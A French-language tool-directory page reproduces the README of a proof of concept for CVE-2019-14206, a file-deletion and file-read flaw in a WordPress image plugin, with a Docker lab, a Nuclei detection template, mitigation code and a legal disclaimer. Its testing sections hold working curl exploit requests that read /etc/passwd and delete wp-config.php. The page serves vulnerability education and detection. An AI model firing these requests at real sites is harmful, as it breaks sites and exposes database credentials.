Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2019-14206-poc — Exploit de preuve de concept pour CVE-2019-14206, démontrant la suppression arbitraire de fichiers dans le plugin WordPress Adaptive Images. Inclus un laboratoire Docker, un modèle Nuclei et des scripts de test manuels pour l'éducation et la validation en sécurité. | Kitploit
Outils/GitHubGitHub/developerfred/cve-2019-14206-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubdeveloperfred/cve-2019-14206-poc

cve-2019-14206-poc

Exploit de preuve de concept pour CVE-2019-14206, démontrant la suppression arbitraire de fichiers dans le plugin WordPress Adaptive Images. Inclus un laboratoire Docker, un modèle Nuclei et des scripts de test manuels pour l'éducation et la validation en sécurité.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 7 moisPas encore vérifié

CVE-2019-14206 - Adaptive Images pour WordPress - Suppression arbitraire de fichiers

📋 Table des matières

  1. À propos de la vulnérabilité
  2. Prérequis
  3. Installation
  4. Méthodes de test
    • Test rapide
    • Test complet avec Docker
    • Test avec Nuclei
    • Test manuel
  5. Interprétation des résultats
  6. Nettoyage
  7. Dépannage
  8. Mitigation
  9. Avertissement légal

🎯 À propos de la vulnérabilité

CVE-ID : CVE-2019-14206
Sévérité : Élevée (CVSS 6.5)
Plugin concerné : Adaptive Images pour WordPress
Versions affectées : < 0.6.67

Que permet cette vulnérabilité ?

Cette vulnérabilité permet à un attaquant distant non authentifié de supprimer des fichiers arbitraires sur le serveur WordPress en exploitant le plugin Adaptive Images.

Impact réel :

  • ❌ Suppression de wp-config.php provoquant une panne complète du site
  • ❌ Exposition des identifiants de la base de données via LFI
  • ⚠️ Chaîne d'attaque menant à une RCE (Exécution de code à distance)
  • 🔴 Compromission totale du site WordPress

Cause racine :

root@kitploit:~
// Le plugin utilise une entrée utilisateur SANS nettoyage
$settings = $_REQUEST['adaptive-images-settings'];

// Construit le chemin du fichier avec des paramètres contrôlés par l'attaquant
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;

// SUPPRIME un fichier arbitraire
unlink($cache_file);

💻 Prérequis

Exigences minimales :

  • Système d'exploitation : macOS, Linux ou Windows
  • Nuclei : Version 3.0 ou supérieure (Installer)
  • Bash : Version 4.0 ou supérieure
  • curl : Pour les tests manuels
  • PHP : Version 7.0+ (optionnel, pour les tests avec serveur intégré)

Vérification des prérequis :

root@kitploit:~
# Vérifier Nuclei
nuclei --version

# Vérifier Bash
bash --version

# Vérifier curl
curl --version

# Vérifier PHP (optionnel)
php --version 2>/dev/null || echo "PHP non disponible (optionnel)"

🚀 Installation

Étape 1 : Cloner ou télécharger les fichiers

root@kitploit:~
# Si vous êtes dans le répertoire nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates

# Ou téléchargez les fichiers nécessaires
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates

Étape 2 : Vérifier la structure des fichiers

root@kitploit:~
# Vérifier si les fichiers existent
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/

Étape 3 : Rendre les scripts exécutables

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh

🧪 Méthodes de test

1. Test rapide ⏱️ 2 minutes

Exécutez la démonstration complète qui simule toute l'exploitation :

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh

Ce qui se passe :

  • Crée un environnement de test complet
  • Simule la vulnérabilité
  • Montre la suppression de fichier
  • Valide le template Nuclei

Résultat attendu :

root@kitploit:~
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready

2. Test complet avec Docker 🐳 10 minutes

Étape 1 : Démarrer l'environnement Docker

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

# Si Docker est en cours d'exécution
docker-compose up -d

# Si Docker n'est PAS en cours d'exécution, utilisez le simulateur
./docker-test-full.sh

Étape 2 : Accéder à WordPress

root@kitploit:~
# L'environnement sera disponible à l'adresse
# http://localhost:8888

Étape 3 : Vérifier le plugin vulnérable

root@kitploit:~
# Vérifier si le script vulnérable existe
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php

Étape 4 : Exécuter les tests

root@kitploit:~
# Test LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Test de suppression de fichier
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Vérifier si wp-config.php a été supprimé
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php

3. Test avec Nuclei 🎯 5 minutes

Étape 1 : Préparer la liste des cibles

root@kitploit:~
# Créer un fichier de cibles
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF

Étape 2 : Exécuter le scan

root@kitploit:~
# Scan basique
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt

# Scan détaillé
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v

# Scan avec débogage (OBLIGATOIRE pour les primes)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug

# Sauvegarder les résultats
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt

Étape 3 : Interpréter les résultats

root@kitploit:~
# Voir les résultats
cat results.txt

# Les résultats positifs contiendront :
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion

4. Test manuel 🔧 10 minutes

Étape 1 : Démarrer le serveur PHP

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888

Étape 2 : Tester LFI (Lecture de fichiers)

root@kitploit:~
# Essayer de lire /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Essayer de lire wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"

Résultat attendu (LFI) :

root@kitploit:~
=== CVE-2019-14206 Vulnerability Test ===

[*] Settings received:
  source_file = /etc/passwd
  ...

[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd

Étape 3 : Tester la suppression de fichiers

root@kitploit:~
# Vérifier si wp-config.php existe AVANT
ls -la wp-config.php

# Exécuter l'exploit
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Vérifier si wp-config.php a été supprimé APRÈS
ls -la wp-config.php

Résultat attendu (Suppression de fichier) :

root@kitploit:~
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php

📊 Interprétation des résultats

Résultat positif (Vulnérable) :

root@kitploit:~
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php

Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible

Résultat négatif (Non vulnérable) :

root@kitploit:~
[N/A] No results found

Raisons possibles d'un faux négatif :

  • ✅ Plugin non installé
  • ✅ Plugin mis à jour (version >= 0.6.67)
  • ✅ WAF bloquant les requêtes
  • ✅ Le serveur ne répond pas aux chemins attendus

🧹 Nettoyage

Nettoyer l'environnement de test :

root@kitploit:~
# Supprimer l'environnement Docker
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null

# Supprimer les fichiers de test
rm -rf docker-test/
rm -f targets.txt results.txt

# Restaurer wp-config.php s'il a été supprimé
cat > wp-config.php << 'EOF'
<?php
// Fichier restauré
define('DB_NAME', 'wordpress');
EOF

Nettoyer Nuclei :

root@kitploit:~
# Supprimer les résultats de scan
rm -f results.txt

# Vider le cache (optionnel)
nuclei -rm-cache

🔧 Dépannage

Problème 1 : Nuclei introuvable

root@kitploit:~
# Installer Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Ou télécharger le binaire
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/

Problème 2 : Le template ne se charge pas

root@kitploit:~
# Vérifier si le fichier existe
ls -la http/cves/2019/CVE-2019-14206.yaml

# Vérifier la syntaxe YAML
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"

# Utiliser le chemin absolu
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target

Problème 3 : Le serveur PHP ne démarre pas

root@kitploit:~
# Vérifier le port
lsof -i :8888

# Utiliser un port différent
php -S localhost:9999

# Vérifier si PHP est installé
which php
php --version

Problème 4 : Docker ne fonctionne pas

root@kitploit:~
# Vérifier l'état de Docker
docker ps

# Démarrer Docker
# Sur macOS : Ouvrir Docker Desktop
# Sur Linux : sudo systemctl start docker

# Utiliser le mode simulateur (fonctionne sans Docker)
./docker-test-full.sh

🛡️ Mitigation

Protection immédiate :

  1. Mettre à jour le plugin :

    root@kitploit:~
    Tableau de bord WordPress > Extensions > Mettre à jour Adaptive Images
    
  2. Version sécurisée : >= 0.6.67

  3. Supprimer le plugin vulnérable :

    root@kitploit:~
    rm -rf wp-content/plugins/adaptive-images/
    

Protection dans le code (pour les développeurs) :

root@kitploit:~
// ✅ CODE SÉCURISÉ (Exemple de correction)
function adaptive_images_script_get_settings() {
    // Nettoyer l'entrée
    $allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
    $settings = [];
    
    foreach ($allowed_keys as $key) {
        if (isset($_REQUEST['adaptive-images-settings'][$key])) {
            $settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
        }
    }
    
    return $settings;
}

function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
    // Valider les chemins
    $allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
    $cache_dir = basename(dirname($cache_file));
    
    if (!in_array($cache_dir, $allowed_cache_dirs)) {
        return false; // Refuser les chemins invalides
    }
    
    // Utiliser des chemins absolus validés
    $cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
    
    if (file_exists($cache_file)) {
        unlink($cache_file);
    }
}

⚠️ Avertissement légal

Conditions d'utilisation :

Ce matériel est fourni exclusivement à des fins éducatives et de test de sécurité.

Ce que vous POUVEZ faire :

  • ✅ Tester sur des systèmes que vous possédez
  • ✅ Utiliser dans des environnements de laboratoire
  • ✅ Apprendre sur les vulnérabilités web
  • ✅ Contribuer à la sécurité open source
  • ✅ Tester vos propres applications

Ce que vous NE POUVEZ PAS faire :

  • ❌ Tester sur des systèmes sans autorisation
  • ❌ Causer des dommages ou des interruptions
  • ❌ Utiliser à des fins malveillantes
  • ❌ Vendre ou distribuer des exploits
  • ❌ Publier des informations sur des systèmes vulnérables

Responsabilité :

L'auteur et les contributeurs déclinent toute responsabilité en cas de :

  • Utilisation inappropriée de ce matériel
  • Dommages causés aux systèmes
  • Perte de données
  • Interruptions de service
  • Problèmes juridiques

Divulgation responsable :

Si vous trouvez cette vulnérabilité dans des systèmes réels :

  1. N'exploitez pas et ne causez pas de dommages
  2. DOCUMENTEZ la vulnérabilité
  3. NOTIFIEZ le responsable du système
  4. SUIVEZ les directives de divulgation responsable

📚 Ressources supplémentaires

Références :

  • NVD - CVE-2019-14206
  • Recherche originale
  • Plugin officiel
  • Entrée WPScan

Outils associés :

  • Nuclei
  • nuclei-templates
  • WPScan
  • Wordfence

🎓 Enseignements

Ce projet démontre :

  1. Validation des entrées : L'importance de nettoyer toute entrée utilisateur
  2. Path Traversal : Comment les chemins de fichiers peuvent être manipulés
  3. Opérations sur les fichiers : Les risques de fonctions comme unlink() avec des entrées utilisateur
  4. Sécurité des plugins : Vulnérabilités courantes dans les plugins WordPress
  5. Analyse CVE : Comment analyser et reproduire des vulnérabilités
  6. Développement de détection : Comment créer des templates de détection efficaces

📝 Changelog

Version 1.0.0 (2026-01-04)

  • ✅ Template Nuclei créé
  • ✅ Environnement PoC complet
  • ✅ Documentation complète
  • ✅ Scripts de test validés
  • ✅ Démonstration fonctionnelle

🤝 Contribution

Les contributions sont les bienvenues ! Pour contribuer :

  1. Forkez le dépôt
  2. Créez une branche (git checkout -b feature/improvement)
  3. Commitez vos modifications (git commit -am 'Add improvement')
  4. Poussez vers la branche (git push origin feature/improvement)
  5. Créez une Pull Request

📧 Support

Pour des questions ou problèmes :

  1. Consultez la section Dépannage
  2. Vérifiez les issues du dépôt
  3. Documentez le problème avec :
    • Système d'exploitation
    • Version de Nuclei
    • Version de PHP (si applicable)
    • Message d'erreur complet
    • Étapes pour reproduire

🎉 Merci d'utiliser ce matériel de test !

Souvenez-vous : Un grand pouvoir implique de grandes responsabilités. Utilisez ces connaissances pour rendre Internet plus sûr, pas plus vulnérable.


Créé le : 4 janvier 2026
Version : 1.0.0
Statut : ✅ Prêt pour une utilisation en production

Télécharger l’outil